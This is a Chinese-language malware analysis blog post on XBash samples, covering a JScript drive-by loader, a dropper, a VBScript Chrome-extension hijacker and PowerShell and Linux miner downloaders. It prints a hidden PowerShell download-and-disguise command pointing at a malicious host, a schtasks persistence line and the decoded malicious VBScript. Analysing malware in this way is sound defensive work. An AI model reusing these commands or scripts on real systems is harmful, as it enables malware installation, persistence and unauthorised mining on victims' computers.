Xbash部分樣本分析

 病毒樣本下載來源於i春秋一位cq5f7a075d做者的主題帖《XBash系列病毒樣本分析報告》,是一個Iron Group組織使用的XBash惡意軟件,樣本連接:https://bbs.ichunqiu.com/thread-47475-1-1.html ,推薦幾個比較活躍的樣本下載區,如卡飯、i春秋、吾愛、VirusShare等都比較活躍。

✎故事仍是要從掛馬網站開始,也就是網頁下載惡意代碼開始分析,以下所示:
Xbash部分樣本分析
                    圖片一:JScript腳本
變量ebc9拖入010中轉換成字符串以下所示:
Xbash部分樣本分析
                    圖片二:數組還原
還原Js代碼以下所示,圖片中給出了還原的代碼(已標紅):
Xbash部分樣本分析
                    圖片三:代碼復原
✍如上述代碼,作了如下幾件事情:
  一、使用了ActiveX控件,注意這個只有IE才支持,由於是微軟的。
  二、獲取了temp的臨時路徑,拼接了IE瀏覽器進程名(假裝)。
  三、判斷是否臨時文件是否存在,若是不存在則執powershell指令,指令以下:
powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://daknobcq4zal6vbm.tk/tg.jpg',$env:TEMP+'/explorer.exe');意思就是遠程下載腳本繞過執行策略並隱藏執行窗口,powershell指令執行通常不會殺毒軟件被攔截,這樣就達成了目的,下載惡意代碼而且假裝成explorer.exe
  四、執行下載的惡意代碼。


✎關於掛馬網站分析完畢,下面就是分析下載下來的惡意代碼,以下所示:
Xbash部分樣本分析
                    圖片四:脫殼
如上所示,樣本加了一個UPX殼,脫掉修復IAT後樣本就被還原了,拉入IDA後以下所示:
Xbash部分樣本分析
                    圖片五:主函數
sub_405920分析以下,先獲取了window shell特殊文件夾的標識值,以下所示:
Xbash部分樣本分析
                    圖片六:SHGetSpecialFoladerPathA
繼續分析,而後初始化了一段字符串,且求出了字符串大小,流程圖以下:
Xbash部分樣本分析
                    圖片七:字符串
其實一開始靜態觀察猜錯了初始化的字符串順序....,而後動態調試爲了驗證數據的精準,下面繼續調用了函數流程以下,根據字符串初始化進行了獲取名稱,鎖機制設置,以下所示:
Xbash部分樣本分析
                    圖片八:執行流程
根據字符串運算獲取了名稱,拼接路徑以下:
Xbash部分樣本分析
                    圖片九:C:\Program Files\TempBMBD19XS
這裏還不算真正開是,只是作了個預熱,下面樣本開始認真了,以下所示:
Xbash部分樣本分析
                    圖片十:靜態分析
如上圖所示,獲取了運行路徑,拼接了chrome.crx,當有路徑出現的時候就會有操做,以下所示:
Xbash部分樣本分析
                    圖片十一:chrome.crx
繼續分析函數sub_408360,選擇了動態調試字符串,由於字符串加密了,因此動態調試分析起來相對輕鬆一些,內部代碼以下所示:
Xbash部分樣本分析
                    圖片十二:sub_408360
分析函數sub_40D0B0的時候,彙編分析時候根據循環規律猜出部分代碼(惋惜猜錯了)。在OD中字符串解密看一下,看到CreateToolhelp32Snapshot函數時候,就明白這是要建立進程快照,也明白了整個函數的意義,以下所示:
Xbash部分樣本分析
                    圖片十三:sub_40D0B0.CreateToolhelp32Snapshot
遍歷進程,殺掉chrome進程,以下所示:
Xbash部分樣本分析
                    圖片十四:Kill chrome.exe
如上圖所示,通過這一層關係,根據當前分析的狀況,chrome.exe(chrome.crx)樣本確定準備這樣假裝,繼續線性分析,如圖十二所示:
一、打開註冊表SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe,請求Path。
 二、若是成功拼接路徑C:\Programiles\Google\Chrome\Application\chrome.exe


接下來,在路徑下建立文件寫入數據了,以下所示:
Xbash部分樣本分析
                    圖片十五:_mkdir and write
解壓了數據,收尾工做,利用schtasks計劃啓動釋放的程序,以下所示:
Xbash部分樣本分析
Xbash部分樣本分析
                    圖片十六:WinExec
sub_408360光榮的完成他的使命,查殺chrome.exe進程,且建立釋放惡意代碼,調用WinExec執行釋放的文件。

 作了這些事情以後尚未結束,到了分水嶺,有意思的是判斷了運行樣本的命令行參數 ,分析以下:
Xbash部分樣本分析
Xbash部分樣本分析
Xbash部分樣本分析
                    圖片十七:分水嶺
不相等則跳轉,若是相等最終會則執行流程以下圖所示:
Xbash部分樣本分析
                    圖片十八:成功
該文章重點分析不跳轉狀況(真機環境下沒有跳轉),以下所示:
Xbash部分樣本分析
                    圖片十九:建立且寫入惡意代碼
 若是上面解壓chrome.crx那段彙編熟悉的話,你會發現套路是相同:
  一、獲取文件名稱,拼接文件路徑。
  二、建立及寫入惡意代碼過程。
  三、那麼就該執行惡意代碼了唄。

咱們對比一下寫入的數據是或否相同,從而驗證是否函數功能的正確性,以下所示:
Xbash部分樣本分析
                    圖片二十:寫入惡意數據
請求rundll32.exe執行DllUnInstall,而後建立惡意代碼流程以下所示:
Xbash部分樣本分析
Xbash部分樣本分析
                    圖片二十一:執行惡意dll
 而後調用了ExitProcess結束了本身的一輩子,這個被掛馬網站下載下來的病毒幹了兩件事:
  一、運行了sec.vbe
  二、運行了xxx.dat(名字是隨機dll文件)


因此目標也很明確,被運行的兩個程序,依次分析,運行時的順序有時候也是刻意安排的,接下來分析sec.vbe:
看後綴都明白,這是一個VB語言寫的病毒,先打開看一看,長什麼樣,以下圖所示:
Xbash部分樣本分析
                    圖片二十二:加密sec.vb
根據風格應該是微軟的ScriptEncode編碼算法來加密的,因此先嚐試一下,不對在換就好了,解密後代碼以下:html

vb中註釋是單引號 ' 
On Error ReSume Next:                               ' 這一句vb代碼是異常處理,錯誤時會繼續運行,不中斷
strComputer = ".":
Set OBjWMISeRvice = GETobject("winmgmts:\\"&StrComPuter&"\root\CIMV2"):                             
' set是用於給對象變量賦值  返回ActiveX對象
Set CoLiTems = ObjWmISErvice.ExeCquery("SELECT * FROM Win32_Process where name='chrome.exe' ",,48): 'ExeCquery是指關閉指定用戶進程
SeT objShell = CreateObjeCt("WScript.Shell"):       ' 建立WScript。sehll對象
starT = False:

' 遍歷且與關鍵字對比
FOr Each ObjITem in colItEms:
    iF INstr(objitem.CommandLiNe,"silent-launch") > 1  ' vb中變量不區分大小寫 字符串區分
    thEn start = true:
    end if:
    NEXt:

' 關閉進程
function Killproc(strProcname):
    On ErroR REsume Next:
    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2"):
    Set arRProcesses = objWmIServiCe.ExEcQuery("select * from win32_process where Name ='"&strprocname&"'"):
    for Each Proccess In aRrpRocessEs: 
    proccess.Terminate 0:       ' terminate是指事件的終止
    Next:
ENd FuncTiOn:

If nOT start 
    then KillprOc("chrome.exe"):    ' 殺死進程
    Dim Instpath:                   ' 根據變量類型爲變量分配內存空間 
    INstpaTh = objShell.Regread("HKLM\Software\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe\Path"):  ' 讀取註冊表
    appdataLocAtIon = objShell.ExpandENvironmenTStriNgs("%LOCALAPPDATA%"):      ' 獲取路徑 C:\Users\xxx\AppData\Local
    chrome_locatIon = AppDataLoCaTion+"\chrome":                                ' 拼接路徑 C:\Users\xxx\AppData\Local\chrome
    objShell.eXec(InsTPaTh+"\chrome.exe --load-extension="+chrome_locatIon+" --silent-launch --enable-automation"):
    ' --load-extension  每次重啓chrome的快捷方式會被替換C:\Users\xxx\AppData\Local\chrome
    ' --silent-launch   表示不開啓chrome,靜默安裝
    ' --enable-automation 開啓自動化
End if

如何解密呢,在線解密https://www.jb51.net/tools/onlinetools/jiemi/jsendecode.htm
上面vb腳本分析,對於關鍵的數據出寫出詳細的註釋,這裏不一一羅嗦,sec.vbe關閉chrome,而後替換了了Chrome的快捷方式。

 至於.dat是一個dll文件,PEID查看後發現加油vmp虛擬殼,對於這個殼,帶殼調試的話,過虛擬、過反調試能夠動態調試.....這裏有興趣的朋友自行分析,能力有限不能很好的分析該病毒的出步驟,因此這一個比較關鍵的環節略過......
經過dll執行(也就是上述省略分析的.dll文件),作了那些事情呢?
  一、在windows下釋放了一段可執行的惡意代碼,包含了powershell指令(用於下載挖礦)
  二、Linux下釋放了.sh的腳本(用於進程查殺及下載挖礦)
其實就是釋放了兩個下載器,咱們分析一下釋放的下載器。


Windows下Powershell以下所示:
前置知識:
  一、-EncodedCommand 接受 base-64 編碼字符串版本的命令。使用此參數向 Windows PowerShell 提交須要複雜引號或大括號的命令。 代碼中-E
  二、-WindowStyle將窗口樣式設置爲 Normal、Minimized、Maximized 或 Hidden。 代碼中-W
  三、-noprofile 簡寫 -NoP, 爲不加載 windows poweshell 配置文件
  四、-NonInteractive不向用戶顯示交互式提示。


 打開.ps1腳本,發現被加密,以下所示:
Xbash部分樣本分析
                    圖片二十三:加密的Powershell指令
根據-E的參數,咱們能夠先推測使用了Base64進行了總體加密,下面在線Base64解密以後,以下圖片所示:
Xbash部分樣本分析
                    圖片二十四:Base64解密
第一次Base64解密後,雖然還有大量的字符不識別,可是露出了關鍵一些數據,如iex,這就爲後續的解密提供了思路,腳本中有IEX關鍵字了,咱們去掉且重定向到新得文件中,嘗試解密,解密後數據以下圖所示:以下所示:
Xbash部分樣本分析
                    圖片二十五:Base64解密
分析Function DllMiner函數,以下所示:
Xbash部分樣本分析
                    圖片二十六:Function DllMiner     
函數內容將數據下載並截獲正確得惡意代碼寫入到文件,命名爲tmp.jpg,執行下載得文件,而後把DllMiner函數寫入到額tmp.ps1,以下所示:
Xbash部分樣本分析
                    圖片二十七:tmp.ps1
調用了SchTasks.exe執行計劃任務,以下所示:web

SchTasks.exe /Create /SC MINUTE /TN "Update " /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noexit -File $env:TMP\tmp.ps1" /MO 6 /

參數介紹:
    一、/Create       建立新計劃任務。
    二、/TN   taskname   指定惟一識別這個計劃任務的名稱
    三、/ST   starttime    指定運行任務的開始時間  /SC MINUTE (一分鐘)
    四、/TR   taskrun    指定在這個計劃時間運行的程序的路徑
    五、/MO   modifier    改進計劃類型以容許更好地控制計劃重複

總結:一分鐘運行一次tmp.ps1,也就是Function DllMiner函數

下載得實際上是挖礦程序,對於挖礦程序得分析不到位,有興趣得能夠分析一下。

補充:
一、電腦不能運行powershell腳本?報錯讓參考策略修改,修改配置以下圖所示:
Xbash部分樣本分析
                    圖片二十八:powershell策略配置
 二、Powershell關於IEX混淆解密相關介紹:https://www.codercto.com/a/24286.html

Linux下.sh以下所示:
看看Linux下.sh腳本是如何運行的,以下所示:
Xbash部分樣本分析
                    圖片二十九
一個死循環,兩個函數,就是整個腳本的內容,kills函數以下所示:
Xbash部分樣本分析
                    圖片三十
各類kill與pkill,終止其餘程序的挖礦進程。而後開始執行downloadyam函數,以下所示:
Xbash部分樣本分析
                    圖片二十一
上述標紅是註釋,這即是腳本執行的過程,xx.sh總共下載了五個文件:
  config.json,bashf,pools.txt,bashg,XbashY
到此兩個下載器分析完畢,至於挖礦程序的分析,仍是不獻醜了........之後有時間學習研究後,再來補上未分析的部分。

未完待續!算法

相關文章
相關標籤/搜索